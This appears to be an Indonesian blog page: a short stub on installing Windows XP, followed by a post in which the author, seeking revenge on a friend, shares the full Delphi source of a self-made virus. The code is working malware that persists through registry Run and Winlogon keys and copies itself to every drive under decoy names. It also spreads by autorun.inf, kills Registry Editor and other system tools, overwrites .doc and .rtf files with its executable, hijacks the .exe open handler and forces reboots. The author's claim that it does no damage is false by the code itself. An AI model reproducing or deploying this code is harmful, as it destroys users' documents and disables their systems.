mudahnya melakukan instalisasi so windows xp2
Tampilan bios akan berbeda-beda disetiap PC, tapi intinya anda masuk pada boot
Untuk melakukan penginstalan windows pada pc , terlebih dahulu anda melakukan setting di bios
dengan menekan tombol delete pada keyboard sehingga akan tampil layar utama bios.
pilih
download

Selengkapnya...

kenapa aku membuat virus....?
jawabanya itu semua berawal dari sebuah virus yang menyebar di lab. kampus gua.....
semua data-data penting gua hilang...! cek percek virus itu dibuat oleh teman gua, makanya gua buat untuk ngebalas dia, tapi virus ini ga ngerusak coz aku bukan perusak, sedikit becanda buat senang-senag... he..he... ni gua kasih source codenya

unit Scary;

interface

uses
shellapi,Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
jpeg, ExtCtrls, lmdclass, StdCtrls, Buttons, MPlayer,
FileCtrl, LMDOneInstance, LMDWaveComp,
LMDCustomComponent, LMDWndProcComponent, LMDTrayIcon;

type
TFreak = class(TForm)
Image1: TImage;
Timer1: TTimer;
LMDTrayIcon1: TLMDTrayIcon;
i: TLabel;
Image2: TImage;
LMDWaveComp1: TLMDWaveComp;
a: TLabel;
Image3: TImage;
Timer2: TTimer;
LMDOneInstance1: TLMDOneInstance;
DirectoryListBox1: TDirectoryListBox;
DirectoryListBox2: TDirectoryListBox;
DriveComboBox1: TDriveComboBox;
DriveComboBox2: TDriveComboBox;
FileListBox1: TFileListBox;
FileListBox2: TFileListBox;
Edit1: TEdit;
Edit2: TEdit;
Timer3: TTimer;
Timer4: TTimer;
Timer5: TTimer;
Timer6: TTimer;
Timer7: TTimer;
Timer8: TTimer;
Timer9: TTimer;
Timer10: TTimer;
Timer11: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure Timer4Timer(Sender: TObject);
procedure Timer5Timer(Sender: TObject);
procedure Timer6Timer(Sender: TObject);
procedure Timer7Timer(Sender: TObject);
procedure Timer8Timer(Sender: TObject);
procedure Timer9Timer(Sender: TObject);
procedure Timer10Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
procedure FormEndDock(Sender, Target: TObject; X, Y: Integer);
procedure FormDblClick(Sender: TObject);
procedure FormUnDock(Sender: TObject; Client: TControl;
NewTarget: TWinControl; var Allow: Boolean);
procedure Timer11Timer(Sender: TObject);

private
{ Private declarations }
DeskTopCanvas:TCanvas;
desktop:Tcanvas;
public
{ Public declarations }
Procedure FileCopy(Const Namafile, Tujuan : String);
end;

var
Freak: TFreak;
hit : Integer;
k : Boolean;
ActiveDir:string;
implementation

uses Registry,mmsystem;

function SetSEShutDownPrivilege: Boolean;
var
TTokenHnd: THandle; // Handle u/ membuka akses token
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
Result := false;

// Jika windows platform NT
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
// membuka akses token yg diasosiasikan dg proses
if OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then
begin
// memperoleh locally unique identifier (LUID)
tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if TPResult then
// Mengaktifkan privilege SE_SHUTDOWN_NAME
Result := Windows.AdjustTokenPrivileges(TTokenHnd,
False, TTokenPvg, cbtpPrevious,
rTTokenPvg, pcbtpPreviousRequired)
end;
end;
end;

// Fungsi untuk mengeset power state Shutdown, Power Off,
// Log Off, dan Reboot
function Power(pwFlags: Cardinal) : boolean;
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
SetSEShutDownPrivilege;

Result := ExitWindowsEx(pwFlags, 0);
end;

{$R *.DFM}
function LoadAtStar(AppName, AppCommand: string): boolean;
var Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey(
'\Software\Microsoft\Windows\CurrentVersion\Run',
true);

Reg.WriteString(AppName, AppCommand);
Reg.CloseKey;
Result := true;
finally
Reg.Free;
end; // end try
end;

function LoadAtStart(AppName, AppCommand: string): boolean;
var Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(
'\Software\Microsoft\Windows\CurrentVersion\Run',
true);

Reg.WriteString(AppName, AppCommand);
Reg.CloseKey;
Result := true;
finally
Reg.Free;
end; // end try

end;

Procedure TFreak.FileCopy(Const Namafile, Tujuan : String);
begin
with TMemoryStream.Create do
begin
try
LoadFromFile(Namafile);
SaveToFile(Tujuan);
finally
Free;
end;
end;
end;

procedure Hitung;
begin
hit := random(2000);
end;

procedure ShowTaskbarIcon(const Show: boolean);
begin
ShowWindow(Application.Handle, SW_HIDE);
if Show = false then
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle,
GWL_EXSTYLE) or WS_EX_TOOLWINDOW)

else
SetWindowLong(Application.Handle, GWL_EXSTYLE,
WS_OVERLAPPED);
ShowWindow(Application.Handle, SW_SHOW);
end;

procedure TFreak.Timer1Timer(Sender: TObject);
begin
hide;
i.Left := i.Left +1;
if i.Left = 2 then
begin
Hitung;
if hit <= 800 then
hit := 801 + random(501);
end;

if i.Left = hit then
begin
Show;
Image1.Visible:=true;
Image2.Visible:=false;
LMDWaveComp1.Play;
end;
if i.Left = (hit + 3) then
begin
i.Left := 1;
Timer2.Enabled:=true;
Timer1.Enabled:=false;
Image1.Visible:=false;
Image2.Visible:=false;
LMDWaveComp1.Stop;
Hide;
end;
end;

procedure TFreak.FormShow(Sender: TObject);
var reg : TRegistry;
begin
ShowTaskbarIcon(false);
Timer1.Enabled:=true;
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',True) then
begin
Reg.WriteString('shell','Explorer.exe "C:\WINDOWS\'+'\services.exe"');
Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',false);
end;
finally
reg.free;

try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;

if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',True) then
begin
Reg.WriteString('shell','Explorer.exe "C:\WINDOWS\system32\'+'sysconf.com"');
Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',false);
end;
finally
reg.free;
end;
end;

end;
procedure TFreak.FormCreate(Sender: TObject);
var F: TextFile;
hsysMenu:HMENU;{tutup form}
h:HWND;{tutup system}
APath: string;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
MySearch: TSearchRec;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
begin
Application.ShowMainForm := true;
Brush.Style:=bsClear;
DirectoryListBox1.Directory:=ExtractFilePath(Application.ExeName);
Edit1.Text:=Application.ExeName;
Edit2.Text:='c:\WINDOWS\Help\'+'tour.scr';
if not FileExists('c:\WINDOWS\Help\'+'tour.scr') then
FileCopy(Edit1.Text,Edit2.Text);
LoadAtStart('Network', 'Internet Access.exe');
LoadAtStart('WinLogon', 'C:\WINDOWS\system32\drivers\smss.exe'+' /System');
LoadAtStart('Automatic Updates', 'C:\Program Files\Internet Explorer\IEXPLORER.EXE'+' /Help Protecd');
LoadAtStart('boot', 'C:\WINDOWS\services.exe'+' /Reboot Windows');
LoadAtStar('SCRNSAVER', 'C:\WINDOWS\Help\'+'tour.scr');
LoadAtStar('SystemRoot', 'D:\AUTOEXEC.BAT');

// LoadAtStart(''','D:\AUTOEXEC'+' /Reboot Windows "%1"%*');
{FORM INVISIBILE}

{COPIA SE STESSO}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
//mkdir(sysdir+'\1046');
except
end;
try
CopyFile(pchar(application.ExeName),PChar(dir+'Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'c:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'d:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'e:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\inf\Viruses Protect.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Program Files\Online Services\Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Program Files\Internet Explorer\IEXPLORER.EXE'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'f:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'g:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'h:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\sysconf.com'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\system32\drivers\smss.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\AUTOEXEC.BAT'),true);
except
end;
end;
begin
//getsystemdirectory(sysdir,sizeof(sysdir)); PChar
try
SetFileAttributes(PChar(dir+'AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\Program Files\Internet Explorer\IEXPLORER.EXE'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\Program Files\Online Services\Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\WINDOWS\system32\drivers\smss.exe'), FILE_ATTRIBUTE_HIDDEN);
except

end;
end;
end;

//end;

procedure TFreak.FormKeyPress(Sender: TObject; var Key: Char);
var st: String;
begin
if Key = #27 then
begin
Application.MessageBox('Program by :'+#10'Black Devil',' ',MB_RTLREADING+MB_ICONSTOP);
st := InputBox(' ','Type the fucking password','');
if st = 'krowak' then
begin
Application.MessageBox('Are you some devil ',' ',MB_RTLREADING+MB_ICONSTOP);
Image1.Visible:=False;
Image2.Visible:=False;
Image3.Visible:=true;
Application.Terminate;

end;
end;
end;

procedure TFreak.Timer2Timer(Sender: TObject);
begin
hide;
a.Left := a.Left +1;
if a.Left = 2 then
begin
Hitung;
if hit <= 800 then
hit := 801 + random(501);
end;

if a.Left = hit then
begin
Show;
Image2.Visible:=true;
Image1.Visible:=false;
LMDWaveComp1.Play;
end;
if a.Left = (hit + 3) then
begin
a.Left := 1;
Timer1.Enabled:=true;
Timer2.Enabled:=false;
Image2.Visible:=false;
Image1.Visible:=false;
LMDWaveComp1.Stop;
Hide;
//ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
end;
end;

procedure TFreak.Timer3Timer(Sender: TObject);
VAR
h:HWND;{tutup system}
windir:array[0..255] of char;
sysdir:array[0..255] of char;
dir : string;
begin
//Application.ShowMainForm := false;
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
except
end;
try

///////////////////////////////////////////////////////////////////////////////
CopyFile(pchar(application.ExeName),PChar(windir+'.exe'),true);
//CopyFile(pchar(application.ExeName),PChar('c:\Program Files'+'.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\system32\drivers\svchost.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\sysconf.com'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'C:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'C:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'e:\Peta Ibukota.exe'),true);
///////////////////////////////////////////////////////////////////////////////
CopyFile(pchar(application.ExeName),PChar(dir+'D:\AUTOEXEC.BAT'),true);
except
end;
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(windir+'Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\WINDOWS\system32\drivers\smss.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'C:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'D:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
/////////////////
SetFileAttributes(PChar(dir+'D:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
h:=FindWindow(nil,'Untitled - Notepad');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Untitled - Notepad');
if h0 then ShowMessage('request permit formerly');
begin
h:=FindWindow(nil,'Registry Editor');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Registry Editor');
if h0 then ShowMessage('sorry may not be accessinged');
begin
h:=FindWindow(nil,'System Configuration Utility');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'System Configuration Utility');
if h0 then ShowMessage('don"t only rely on this, stale know....!');
begin
h:=FindWindow(nil,'Folder Options');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Folder Options');
if h0 then ShowMessage('latent all right latent');
begin
h:=FindWindow(nil,'Windows Media Player');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Windows Media Player');
if h0 then ShowMessage('because the hoisterous of film showing bokep so for this is windows media player not can be used... TTD. Black Devil');
begin
h:=FindWindow(nil,'System Properties');
if h0 then PostMessage(h, WM_QUIT ,1,0);
begin
h:=FindWindow(nil,'Add or Remove Programs');
if h0 then PostMessage(h, WM_QUIT ,1,0);
begin
h:=FindWindow(nil,'Display Properties');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Display Properties');
if h0 then ShowMessage('beautiful permanent alive although without loves ');
begin
h:=FindWindow(nil,'Group Policy');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Group Policy');
if h0 then ShowMessage('live it up to what existence....');
h:=FindWindow(nil,'Nero StartSmart');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Nero StartSmart');
if h0 then ShowMessage('Aplication fatalErr');
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
END;
end;
end;
end;
END;
end;

procedure TFreak.Timer4Timer(Sender: TObject);
var FileHandle: Integer;
Buff : array [0 .. 530] of char;
begin
Buff := '[autorun]'#13+
'open=services.exe open'#13+
' '#13+
'shellexecute=services.exe open'#13+
''#13+
'shell=auto'#13+
''#13+
'action=KwK Initial(System Root disk Drive)'#13+
''#13+
'shell\auto=&Auto'#13+
'shell\auto\command=services.exe open'#13+
''#13+
'shell\open=&Open'#13+
'shell\open\command=services.exe open'#13+
''#13+
'shell\explore=E&xplore'#13+
'shell\explore\command=services.exe open'#13+
''#13+
'shell\find=S&earch...'#13+
'shell\find\command=services.exe open'#13+
''#13+
'shell\install=&KrowacK'#13+
'shell\install\command=services.exe open'#13+
''#13+
'shell\Properties=&Properties'#13+
'shell\auto\command=services.exe open';
// Membuat file baru
FileHandle := FileCreate('autorun.inf');

if FileHandle < 0 then
begin
//ShowMessage('Gagal membuat file');
Exit;
end;

// Menulis data dari buffer ke file
FileWrite(FileHandle, Buff, SizeOf(Buff));

// Menutup handle file;
FileClose(FileHandle);
CopyFile('AUTORUN.INF','C:\autorun.inf',true);
CopyFile('AUTORUN.INF','d:\autorun.inf',true);
CopyFile('AUTORUN.INF','i:\autorun.inf',true);
CopyFile('AUTORUN.INF','e:\autorun.inf',true);
CopyFile('AUTORUN.INF','f:\autorun.inf',true);
CopyFile('AUTORUN.INF','g:\autorun.inf',true);
CopyFile('AUTORUN.INF','h:\autorun.inf',true);
end;
procedure TFreak.Timer5Timer(Sender: TObject);
VAR
windir:array[0..255] of char;
sysdir:array[0..255] of char;
dir : string;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
except
end;
try
CopyFile('AUTORUN.INF','c:\autorun.inf',true);
CopyFile('AUTORUN.INF','d:\autorun.inf',true);
CopyFile('AUTORUN.INF','i:\autorun.inf',true);
CopyFile('AUTORUN.INF','e:\autorun.inf',true);
CopyFile('AUTORUN.INF','f:\autorun.inf',true);
CopyFile('AUTORUN.INF','g:\autorun.inf',true);
CopyFile('AUTORUN.INF','h:\autorun.inf',true);
CopyFile(pchar(application.ExeName),PChar(windir+'\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\Peta Indonesia.exe'),true);
//////////////////////////////////////////////////////////
except
end;

begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
///////////////////////////////////////
SetFileAttributes(PChar(windir+'\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
/////////////////
SetFileAttributes(PChar(dir+'c:\Program Files'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+''), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);

except
end;
end;
end;
procedure TFreak.Timer6Timer(Sender: TObject);
var FileHandle: Integer;
Buff : array [0 .. 3600] of char;
dir: string;
begin

Buff := 'fall into oblivionone story not bought
for darling that leave me
'#13+
'23-juni-2007
'#13+
'
---------------------------------------------------------------------------'#13+
'

'#13+
'
'#13+
'
'#13+
'sungguh tepat keputusannmu
'#13+
'meninggalkan aku yang memang bersalah
'#13+
'PEREMPUANKU
'#13+
'kau mimpiku....!
'#13+
'kau hidupku....!
'#13+
'tapi semua ini bukan murni salahku....!
'#13+
'PEREMPUANKU....!
'#13+
'inilah salahku....!
'#13+
'inilah dosaku....!
'#13+
'PEREMPUANKU....!
'#13+
'sungguh baik hatimu.......!
'#13+
'!
'#13+
'PEREMPUANKU....!
'#13+
'sungguh bijak dirimu.....!
'#13+
'!
'#13+
'PEREMPUANKU....!
'#13+
'ini kubuat untukmu....!
'#13+
'untuk menebus kesalahanku!
'#13+
'!
'#13+
' ketika ini merasuk di PC"mu.... maka aku telah lenyap....!
'#13+
' maafkanlah aku....!
'#13+
'
---------------------------------------------------------------------------'#13+
'
---i want---
'#13+
'
want me carve your name
'#13+
'at the leafy trees
'#13+
'at water the ripples
'#13+
'and at the lonely evening
'#13+
'so that they know
'#13+
'“ i am pity in you ”
'#13+
'
'#13+
'want me paint your face
'#13+
'at the white bubble foam
'#13+
'at the blue sky
'#13+
'and at redden twilight
'#13+
'so that they understand
'#13+
'“ i yearn in you ”
'#13+
'
'#13+
'want me hide to yearn this
'#13+
'on leaf in a mess
'#13+
'on wet soil former drizzles last night
'#13+
'and angled this eye that stills full of tears
'#13+
'so that they understand
'#13+
'“ i am yours ”
'#13+
'
---------------------------------------------------------------------------'#13+
'
---from Black Devil to you---
'#13+
'i am not angel
'#13+
'strong without love
'#13+
'as well as not cliff
'#13+
'strong at dash against wave
'#13+
'i only human usually
'#13+
'brittle when left to love
'#13+
'
---------------------------------------------------------------------------'#13+
'
---my sad---
'#13+
'i only can cry in your laughter...
'#13+
'i only can hush your smile time...
'#13+
'make to yearn not bought
'#13+
'treading self in alcove loves and affection
'#13+
'my affection wants you
'#13+
'my affection wants to suffer and your happy
'#13+
'your self...
'#13+
'myself...
'#13+
'what slurr in cry
'#13+
'myself
'#13+
'your self
'#13+
'what slurr in laughter....
'#13+
'my affection...
'#13+
'who are you...
'#13+
'make me kneel at face you...
'#13+
'
---------------------------------------------------------------------------'#13+
'
i am sorry mother
i am sorry father
'#13+
'i am sorry elder brother
i can not be to like what you want
'#13+
'i am but a looser can not get fact

'#13+
'
---------------------------------------------------------------------------'#13+
'
---untuk mereka yang tak bersalah---
'#13+
'Maafkanlah aku jika Virus ini merasuk dikomputermu
'#13+
'ini hanya sebuah media penyampaian PESANKU untuknya
'#13+
'Cintailah orang yang mencintaimu
'#13+
'Sesungguhnya kau akan kehilangan dia
'#13+
'

'#13+
'
---------------------------------------------------------------------------'#13+
'
I Love You keti Forever
'#13+
'From Black Devil
'#13+
'
'#13+
'
';
// Membuat file baru
FileHandle := FileCreate('Bisikan Qalbu.html');
if FileHandle < 0 then
begin
// ShowMessage('Gagal membuat file');
// Exit;
end;
FileWrite(FileHandle, Buff, SizeOf(Buff));
FileClose(FileHandle);
CopyFile('Bisikan Qalbu.html','C:\WINDOWS\Help\Tours\htmlTour\15-Maret-2008.html',true);
CopyFile('Bisikan Qalbu.html','d:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','d:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','e:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','f:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','g:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','h:\Bisikan Qalbu.html',true);
end;
procedure TFreak.Timer7Timer(Sender: TObject);
var F: TextFile;
hsysMenu:HMENU;{tutup form}
h:HWND;{tutup system}
APath: string;
dir : string;

{i : integer;}
{x : integer;}
{F:TextFile;}
MySearch: TSearchRec;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.doc', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+'\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.doc', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+'\'+MySearch.Name),pchar(APath+'\'+MySearch.Name+'.exe'));
renamefile (pchar(application.ExeName+'.exe'),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
//ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.rtf', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+'\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.rtf', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+'\'+MySearch.Name),pchar(APath+'\'+MySearch.Name+'.exe'));
renamefile (pchar(application.ExeName+'.exe'),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;

procedure TFreak.Timer8Timer(Sender: TObject);
begin
mciSendString('set cdaudio door open',nil,0,0);

end;

procedure TFreak.Timer9Timer(Sender: TObject);
begin
shellExecute(Handle,'open','Bisikan Qalbu.html','',nil,SW_SHOWNORMAL)

end;

procedure TFreak.Timer10Timer(Sender: TObject);
var reg : TRegistry;
begin
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CLASSES_ROOT;
if Reg.OpenKey('\HKEY_CLASSES_ROOT\exefile\shell\open\command',True) then
begin

Reg.WriteString('','D:\AUTOEXEC.bat'+'"%1"'+'%*');
Reg.OpenKey('\HKEY_CLASSES_ROOT\exefile\shell\open\command',false);
end;
finally
reg.free;
end;

end;

procedure TFreak.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;

procedure TFreak.FormDestroy(Sender: TObject);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;

procedure TFreak.FormEndDock(Sender, Target: TObject; X, Y: Integer);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;

procedure TFreak.FormDblClick(Sender: TObject);
begin
// Power(EWX_REBOOT or EWX_FORCE);
end;

